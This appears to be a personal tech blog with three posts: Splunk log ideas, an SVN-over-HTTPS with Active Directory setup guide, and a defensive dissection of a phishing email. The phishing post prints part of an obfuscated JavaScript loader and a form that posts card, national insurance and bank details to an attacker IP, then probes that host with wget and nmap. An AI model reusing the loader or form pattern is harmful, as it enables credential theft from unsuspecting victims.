Systems & Security Tools du jour

I’ve been to two events in the past two weeks which have started me thinking harder about the way we protect and measure our enterprise systems.

The first of the two events was the fourth Splunk Live in St. Paul’s, London last week. I’ve been a big fan of Splunk for a few years but I’ve never really tried it out in production. The second was InfoSec at Earl’s Court. More about that one later.

What is Splunk?

To be honest, splunk is different things to different people. Since inception it’s had great value as a log collation and event alerting tool for systems administrators as that was what it was originally designed to do. However as both DJ Skillman and Godfrey Sullivan pointed out, Splunk has grown into a lot more than that. It solved a lot of “Big Data” (how I hate that phrase) problems before Big Data was trendy, taking arbitrary unstructured data sources structuring them in useful ways, indexing the hell out of them and adding friendly, near-real-time reporting and alerting on top. Nowadays, given the right data sources, Splunk is capable of providing across-the-board Operational Intelligence, yielding tremendous opportunities in measuring value of processes and events.

How does it work?

In order to make the most out of a Splunk installation you require at least three basic things :-

  1. A data source – anything from a basic syslog or Apache web server log to a live high level ERP logistics event feed or even entire code commits
  2. An enrichment process – something to tag packets, essentially to assign value to indexed fields, allowing the association of fields from different feeds, e.g. tallying new orders with a customer database with stock keeping perhaps.
  3. A report – a canned report, presented on a dashboard for your CFO for example, or an email alert to tell your IT manager that someone squirting 5 day experiments in at the head of the analysis pipeline is going to go over-budget on your AWS analysis pipeline in three days’ time.

How far can you go with it?

Well, here’s a few of the pick ‘n’ mix selection of things I’d like to start indexing as soon as we sort out a) the restricted data limits of our so-far-free Splunk installation and b) what’s legal to do

  • Door id access (physical site presence)
  • VPN logins (virtual site presence)
  • Wifi device registrations (guest, internal, whatever)
  • VoIP + PSTN call logs (number, duration)
  • Environmentals – temperature, humidity of labs, offices, server rooms
  • System logs for everything (syslog, authentication, Apache, FTPd, MySQL connections, Samba, the works)
  • SGE job logs with user & project accounting
  • Application logs for anything we’ve written in house
  • Experimental metadata (who ran what when, where, why)
  • Domains for all incoming + outgoing mail, plus mail/attachment weights (useful for spotting outliers exfiltrating data)
  • Firewall: accepted incoming connections
  • Continuous Integration test results (software project, timings, memory, cpu footprints)
  • SVN/Git code commits (yes, it’s possible to log the entire change set)
  • JIRA tickets (who, what, when, project, component, priority)
  • ERP logs (supply chain, logistics, stock control, manufacturing lead times)
  • CRM + online store logs (customer info, helpdesk cases, orders)
  • anything and everything else with vaguely any business value

I think it’s pretty obvious that all this stuff taken together constitutes what most people call Big Data these days. There’s quite a distinction between that sort of mixed relational data and the plainer “lots of data” I deal with day to day, experimental data in the order of a terabyte-plus per device per day.

SVN Server Integration with HTTPS, Active Directory, PAM & Winbind

Subversion on a whiteboard
Image CC by johntrainor
In this post I’d like to explain how it’s possible to integrate SVN (Subversion) source control using WebDAV and HTTPS using Apache and Active Directory to provide authentication and access control.

It’s generally accepted that SVN over WebDAV/HTTPS  provides finer granulation security controls than SVN+SSH. The problem is that SVN+SSH is really easy to set up, requiring knowledge of svnadmin and the filesystem and very little else but WebDAV+HTTPS requires knowledge of Apache and its modules relating to WebDAV, authentication and authorisation which is quite a lot more to ask. Add to that authenticating to AD and you have yourself a lovely string of delicate single point of failure components. Ho-hum, not a huge amount you can do about that but at least the Apache components are pretty robust.

For this article I’m using CentOS but everything should be transferrable to any distribution with a little tweakage.

Repository Creation

Firstly then, pick a disk or volume with plenty of space, we’re using make your repository – same as you would for svn+ssh:

svnadmin create /var/svn/repos

Apache Modules

Install the prerequisite Apache modules:

yum install mod_dav_svn

This should also install mod_authz_svn which we’ll also be making use of. Both should end up in Apache’s module directory, in this case /etc/httpd/modules/

Download and install mod_authnz_external from its Google Code page. This allows Apache basic authentication to hook into an external authentication mechanism. mod_authnz_external.so should end up in Apache’s module directory but in my case it ended up in its default location of /usr/lib/httpd/modules/.

Download and install the companion pwauth utility from its Google Code page. In my case it installs to /usr/local/sbin/pwauth and needs suexec permissions (granted using chmod +s).

Apache Configuration (HTTP)

ServerName svn.example.com
ServerAdmin me@example.com

Listen		*:80
NameVirtualHost *:80

User		nobody
Group		nobody

LoadModule setenvif_module	modules/mod_setenvif.so
LoadModule mime_module		modules/mod_mime.so
LoadModule log_config_module	modules/mod_log_config.so
LoadModule dav_module		modules/mod_dav.so
LoadModule dav_svn_module	modules/mod_dav_svn.so
LoadModule auth_basic_module    modules/mod_auth_basic.so
LoadModule authz_svn_module	modules/mod_authz_svn.so
LoadModule authnz_external_module modules/mod_authnz_external.so

LogFormat	"%v %A:%p %h %l %u %{%Y-%m-%d %H:%M:%S}t "%r" %>s %b "%{Referer}i" "%{User-Agent}i"" clean
CustomLog	/var/log/httpd/access_log	clean

<virtualhost *:80>
	ServerName	svn.example.com

	AddExternalAuth         pwauth  /usr/local/sbin/pwauth
	SetExternalAuthMethod   pwauth  pipe

	<location / >
		DAV			svn
		SVNPath			/var/svn/repos
		AuthType		Basic
		AuthName		"SVN Repository"
		AuthzSVNAccessFile	/etc/httpd/conf/authz_svn.acl
		AuthBasicProvider	external
		AuthExternal		pwauth
		Satisfy			Any

		<limitexcept GET PROPFIND OPTIONS REPORT>
			Require valid-user
		</limitexcept>
	</location>
</virtualhost>

Network Time (NTP)

In order to join a Windows domain, accurate and synchronised time is crucial, so you’ll need to be running NTPd.

yum install ntp
chkconfig ntpd on
ntpdate ntp.ubuntu.com
service ntpd start

Samba Configuration

Here’s where AD comes in and in my experience this is by far the most unreliable service. Install and configure samba:

yum install samba
chkconfig winbind on

Edit your /etc/samba/smb.conf to pull information from AD.

[global]
	workgroup = EXAMPLE
	realm = EXAMPLE.COM
	security = ADS
	allow trusted domains = No
	use kerberos keytab = Yes
	log level = 3
	log file = /var/log/samba/%m
	max log size = 50
	printcap name = cups
	idmap backend = idmap_rid:EXAMPLE=600-20000
	idmap uid = 600-20000
	idmap gid = 600-20000
	template shell = /bin/bash
	winbind enum users = Yes
	winbind enum groups = Yes
	winbind use default domain = Yes
	winbind offline logon = yes

Join the machine to the domain – you’ll need an account with domain admin credentials to do this:

net ads join -U administrator

Check the join is behaving ok:

[root@svn conf]# net ads info
LDAP server: 192.168.100.10
LDAP server name: ad00.example.com
Realm: EXAMPLE.COM
Bind Path: dc=EXAMPLE,dc=COM
LDAP port: 389
Server time: Tue, 15 May 2012 22:44:34 BST
KDC server: 192.168.100.10
Server time offset: 130

(Re)start winbind to pick up the new configuration:

service winbind restart

PAM & nsswitch.conf

PAM needs to know where to pull its information from, so we tell it about the new winbind service in /etc/pam.d/system-auth.

#%PAM-1.0
# This file is auto-generated.
# User changes will be destroyed the next time authconfig is run.
auth        required      pam_env.so
auth        sufficient    pam_unix.so nullok try_first_pass
auth        requisite     pam_succeed_if.so uid >= 500 quiet
auth        sufficient    pam_winbind.so try_first_pass
auth        required      pam_deny.so

account     required      pam_unix.so broken_shadow
account     sufficient    pam_localuser.so
account     sufficient    pam_succeed_if.so uid < 500 quiet
account     [default=bad success=ok user_unknown=ignore] pam_winbind.so
account     required      pam_permit.so

password    requisite     pam_cracklib.so try_first_pass retry=3
password    sufficient    pam_unix.so md5 shadow nullok try_first_pass use_authtok
password    sufficient    pam_winbind.so use_authtok
password    required      pam_deny.so

session     optional      pam_keyinit.so revoke
session     required      pam_limits.so
session     [success=1 default=ignore] pam_succeed_if.so service in crond quiet use_uid
session     required      /lib/security/pam_mkhomedir.so 
session     required      pam_unix.so
session     optional      pam_winbind.so

YMMV with PAM. It can take quite a lot of fiddling around to make it work perfectly. This obviously has an extremely close correlation to how flaky users find the authentication service. If you’re running on 64-bit you may find you need to install 64-bit versions of pam modules, e.g. mkhomedir which aren’t installed by default.

We also modify nsswitch.conf to tell other, non-pam aspects of the system where to pull information from:

passwd:     files winbind
shadow:     files winbind
group:      files winbind

To check the authentication information is coming back correctly you can use wbinfo but I like seeing data by using getent group or getent passwd. The output of these two commands will contain domain accounts if things are working correctly and only local system accounts otherwise.

External Authentication

We’re actually going to use system accounts for authentication. To stop people continuing to use svn+ssh (and thus bypassing the authorisation controls) we edit /etc/ssh/sshd_config and use AllowUsers or AllowGroups and specify all permitted users. Using AllowGroups will also provide AD group control of permitted logins but as the list is small it’s probably overkill. My sshd_config list looks a lot like this:

AllowUsers	root rmp contractor itadmin

To test external authentication run /usr/local/sbin/pwauth as below. “yay” should be displayed if things are working ok. Note the password here is displayed in clear-text:

[root@svn conf]# pwauth && echo 'yay' || echo 'nay'
rmp
mypassword

Access Controls

/etc/httpd/authz_svn.conf is the only part which should require any modifications over time – the access controls specify who is allowed to read and/or write to each svn project, in fact as everything’s a URL now you can arbitrarily restrict subfolders of projects too but that’s a little OTT. It can be arbitrarily extended and can take local and active directory usernames. I’m sure mod_authz_svn has full documentation about what you can and can’t put in here.

#
# Allow anonymous read access to everything by default.
#
[/]
* = r
rmp = rw

[/myproject]
rmp = rw
bob = rw

...

SSL

So far that’s all the basic components. The last piece in the puzzle is enabling SSL for Apache. I use the following /etc/httpd/httpd.conf:

ServerName svn.example.com
ServerAdmin me@example.com

Listen		*:80
NameVirtualHost *:80

User		nobody
Group		nobody

LoadModule setenvif_module	modules/mod_setenvif.so
LoadModule mime_module		modules/mod_mime.so
LoadModule log_config_module	modules/mod_log_config.so
LoadModule proxy_module		modules/mod_proxy.so
LoadModule proxy_http_module	modules/mod_proxy_http.so
LoadModule rewrite_module	modules/mod_rewrite.so
LoadModule dav_module		modules/mod_dav.so
LoadModule dav_svn_module	modules/mod_dav_svn.so
LoadModule auth_basic_module    modules/mod_auth_basic.so
LoadModule authz_svn_module	modules/mod_authz_svn.so
LoadModule ssl_module		modules/mod_ssl.so
LoadModule authnz_external_module modules/mod_authnz_external.so

Include conf.d/ssl.conf

LogFormat	"%v %A:%p %h %l %u %{%Y-%m-%d %H:%M:%S}t "%r" %>s %b "%{Referer}i" "%{User-Agent}i"" clean
CustomLog	/var/log/httpd/access_log	clean

<virtualhost *:80>
	ServerName		svn.example.com

	Rewrite		/	https://svn.example.com/	[R=permanent,L]
</virtualhost>

<virtualhost *:443>
	ServerName	svn.example.com

	AddExternalAuth         pwauth  /usr/local/sbin/pwauth
	SetExternalAuthMethod   pwauth  pipe

	SSLEngine on
	SSLProtocol all -SSLv2

	SSLCipherSuite		ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
	SSLCertificateFile	/etc/httpd/conf/svn.crt
	SSLCertificateKeyFile	/etc/httpd/conf/svn.key

	<location />
		DAV			svn
		SVNPath			/var/svn/repos
		AuthType		Basic
		AuthName		"SVN Repository"
		AuthzSVNAccessFile	/etc/httpd/conf/authz_svn.acl
		AuthBasicProvider	external
		AuthExternal		pwauth
		Satisfy			Any

		<limitexcept GET PROPFIND OPTIONS REPORT>
			Require valid-user
		</limitexcept>
	
</virtualhost>

/etc/httpd/conf.d/ssl.conf is pretty much the unmodified distribution ssl.conf and looks like this:

LoadModule ssl_module modules/mod_ssl.so

Listen 443

AddType application/x-x509-ca-cert .crt
AddType application/x-pkcs7-crl    .crl

SSLPassPhraseDialog  builtin

SSLSessionCache         shmcb:/var/cache/mod_ssl/scache(512000)
SSLSessionCacheTimeout  300

SSLMutex default

SSLRandomSeed startup file:/dev/urandom  256
SSLRandomSeed connect builtin

SSLCryptoDevice builtin

SetEnvIf User-Agent ".*MSIE.*" \
         nokeepalive ssl-unclean-shutdown \
         downgrade-1.0 force-response-1.0

You’ll need to build yourself a certificate, self-signed if necessary, but that’s a whole other post. I recommend searching the web for “openssl self signed certificate” and you should find what you need. The above httpd.conf references the key and certificate under /etc/httpd/conf/svn.key and /etc/httpd/conf/svn.crt respectively.

The mod_authnz_external+pwauth combination can be avoided if you can persuade mod_authz_ldap to play nicely. There are a few different ldap modules around on the intertubes and after a lot of trial and even more error I couldn’t make any of them work reliably if at all.

And if all this leaves you feeling pretty nauseous it’s quite natural. To remedy this, go use git instead.

Phish Anatomy

I receive four or five of these sorts of phishing emails a week so I thought I’d take a quick look at one and see how it’s put together.

Firstly a poorly constructed message from my- or more often someone else’s bank/tax office. Note capitalisation, lack of whitespace after fullstop in the first sentence, no currency denomination (e.g. £) for the amount but a realistic sum of money, definitely not $10,000,000 from the office of former attorney general Utoula of Lagos. Also note the threat of a deadline, even though none is stated.

Dear Applicant:

we have reviewed your tax return and our calculations of your last years accounts a tax refund of 178.25 is due.Please submit the tax refund request and allow us 3-6 days in order to process it.

A refund can be delayed for a variety of reasons.
For example submitting invalid records or applying after the deadline.

Submit the form attached to your email in order to verify your card.

with an attachment: return_form.html . Who sends a plain text email with an attached HTML file? Nobody except scammers, that’s who. Saving out return_form.html (without the .html extension, for safety) and having a look I found this at the top:

<script type="text/javascript" language="JavaScript">// < ![CDATA[
// Copyright © 2005 Voormedia - WWW.VOORMEDIA.COM
var i,y,x="3c21444f43545950452048544d4c205055424c494320222d2f2f5733432f2f44544420485
44d4c20342e3031205472616e736974696f6e616c2f2f454e222022687474703a2f2f7777772e77332e6
f72672f54522f68746d6c342f6c6f6f73652e647464223e0d0a3c68746d6c206c616e673d22656e223e3
c212d2d20496e7374616e6365426567696e2074656d706c6174653d22687474703a2f2f7777772e686d7
2632e676f762e756b2f54656d706c617465732f5765622d436f6e76657267656e6365312e64777422206
36f64654f75747369646548544d4c49734c6f636b65643d2266616c736522202d2d3e0d0a3c686561643
e0d0a3c212d2d20496e7374616e6365426567696e4564697461626c65206e616d653d224d65746164617
46122202d2d3e0d0a3c6d65746120687474702d65717569763d22436f6e74656e742d547970652220636
f6e74656e743d22746578742f68746d6c3b20636861727365743d7574662d38223e20202020202020202
00d0a3c6d65746120687474702d65717569763d22706963732d6c6162656c2220636f6e74656e743d272
8706963732d312e312022687474703a2f2f7777772e696372612e6f72672f726174696e67737630322e6
8746d6c22206c2067656e207472756520666f722022687474703a2f2f7777772e686d72632e676f762e7
56b22207220286e7a203120767a2031206c7a2031206f7a203120637a2031292067656e2074727565206

and this at the bottom:

703a2f2f7777772e686d72632e676f762e756b2f696d616765732f626c616e6b2e6769662220616c
743d22446972656374476f762220636c6173733d22646972656374676f765f6c6f676f2220746974
6c653d22446972656374476f76223e3c2f613e3c2f6c693e0d0a2020202020203c2f756c3e0d0a20
202020202020203c2f6469763e0d0a09093c212d2d20626567696e5f6578636c7564652d2d3e3c73
637269707420747970653d22746578742f6a61766173637269707422207372633d22687474703a2f
2f7777772e686d72632e676f762e756b2f50726f70686574496e736572742e6a73223e3c2f736372
6970743e3c212d2d20656e645f6578636c7564652d2d3e0d0a3c2f6469763e0d0a0d0a3c2f626f64
793e0d0a3c212d2d20496e7374616e6365456e64202d2d3e3c2f68746d6c3e0d0a0d0a";y='';
for(i=0;i < x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);
// ]]>

(I’ve cut out the middle section because it’s long and I’m only interested in the techniques.)

So this is an obfuscated html page, entirely URL-encoded and embedded in a javascript string with a little bit of decoding tacked on the end. This is simple, but quite neat. Not a technique I’ve ever used to do anything “production” with. I cut the string out, saved it to a file and decoded it on the command line using CGI.pm.

perl -MCGI -e '$str= <>;for (my $i=0;$i < length $str;$i+=2){
  print CGI::unescape(sprintf q[%%%s], substr $str, $i,2)
}' < return_form.data > return_form.decoded

The decoded page contains an HTML form requesting name, email address, physical address, card number, mother’s maiden name, phone number, national insurance number and bank account details where refund payment is to be made, including CVV. It posts all that delicious data over to … woah hold on, that’s not the HMRC is it?

<td><form name="processForm" method="post" action="http://188.219.154.228/id561sua/javascript.php" OnSubmit="return go_step2();">
</form></td>

So who is it?

host 188.219.154.228
228.154.219.188.in-addr.arpa domain name pointer net-188-219-154-228.cust.dsl.vodafone.it.

An Italian Vodafone DSL customer, probably a hacked home PC, most likely part of a botnet infected by a virus of some sort.

Let’s try poking the service:

wget -O- http://188.219.154.228/id561sua/javascript.php
--2011-10-25 13:40:49-- http://188.219.154.228/id561sua/javascript.php
Connecting to 188.219.154.228:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://www.hmrc.gov.uk [following]

ok, that was a GET request and the script expects a POST, but it still bounces us straight out to hrmc.gov.uk, presumably logging whatever data was sent back in a database or IRC channel somewhere whilst leaving the unsuspecting user none the wiser.

What about running services? Ok, let’s use nmap:

nmap -PN 188.219.154.228

Starting Nmap 5.51 ( http://nmap.org ) at 2011-10-25 13:44 BST
Nmap scan report for net-188-219-154-228.cust.dsl.vodafone.it (188.219.154.228)
Host is up (0.10s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1027/tcp open IIS
1244/tcp open isbconference1
1433/tcp open ms-sql-s
1720/tcp filtered H.323/Q.931
3306/tcp open mysql
3389/tcp open ms-term-serv

Nmap done: 1 IP address (1 host up) scanned in 7.69 seconds

So it’s running a few bits and pieces, things you wouldn’t normally open up given the choice..

wget -O- -q http://188.219.154.228/ | grep -i title
<title>WAMPSERVER Homepage</title>

WAMP is a LAMP software stack built for Windows consisting of Apache, MySQL and PHP which explains some of the services this thing is running.

Here I paused and went back to look at the message headers.

Return-Path: < hmrc @return.co.uk>
< snip >
Received: from User ([204.15.97.91]) by smtp.direktora.ru with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 25 Oct 2011 15:54:42 +0400
From: "HMRC"< hmrc @return.co.uk>
Subject: ***SPAM*** We have reviewed your tax return
Date: Tue, 25 Oct 2011 07:54:42 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0100_01C2A9A6.3D97D7B2"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Message-ID: < maindclqgdyxsvvr0ws0000024a @smtp.direktora.ru>
X-OriginalArrivalTime: 25 Oct 2011 11:54:42.0679 (UTC) FILETIME=[E1F60870:01CC930C]
To: undisclosed-recipients:;

A few things to highlight here – firsly the return address is return.co.uk (probably fictitious) not hmrc.gov.uk, as doing so could generate a large number of bounced messages sent back to HMRC and alerting them that there’s a phisher out there. Not that they can really do anything about it beyond cyber-investigation, but always good to keep things on the QT.

Ignoring the fact that my MTA has flagged the subject as SPAM, the original SMTP server shows up as smtp.direktora.ru . Riiight, a UK Tax email sent through a mail server in Russia.

Back to the spam detection. The headers injected by my MTA look like this:


X-Virus-Scanned: Debian amavisd-new at psyphi.net
X-Spam-Flag: YES
X-Spam-Score: 6.105
X-Spam-Level: ******
X-Spam-Status: Yes, score=6.105 tagged_above=-9999 required=4.8
	tests=[BAYES_50=0.8, FORGED_MUA_OUTLOOK=1.927, FROM_MISSP_MSFT=1,
	MISSING_HEADERS=1.021, RCVD_IN_BL_SPAMCOP_NET=1.347,
	T_FROM_MISSPACED=0.01] autolearn=no

Good. Forged Mail User Agent, which isn’t something you might easily spot visually, and blacklisted in spamcop to boot.

Conclusions? Firstly don’t open attachments from untrusted sources. Duh, like I needed to tell you that. Secondly this is a UK-targetted scam, hosted on an Italian computer (probably) originating from Russia. This stuff is real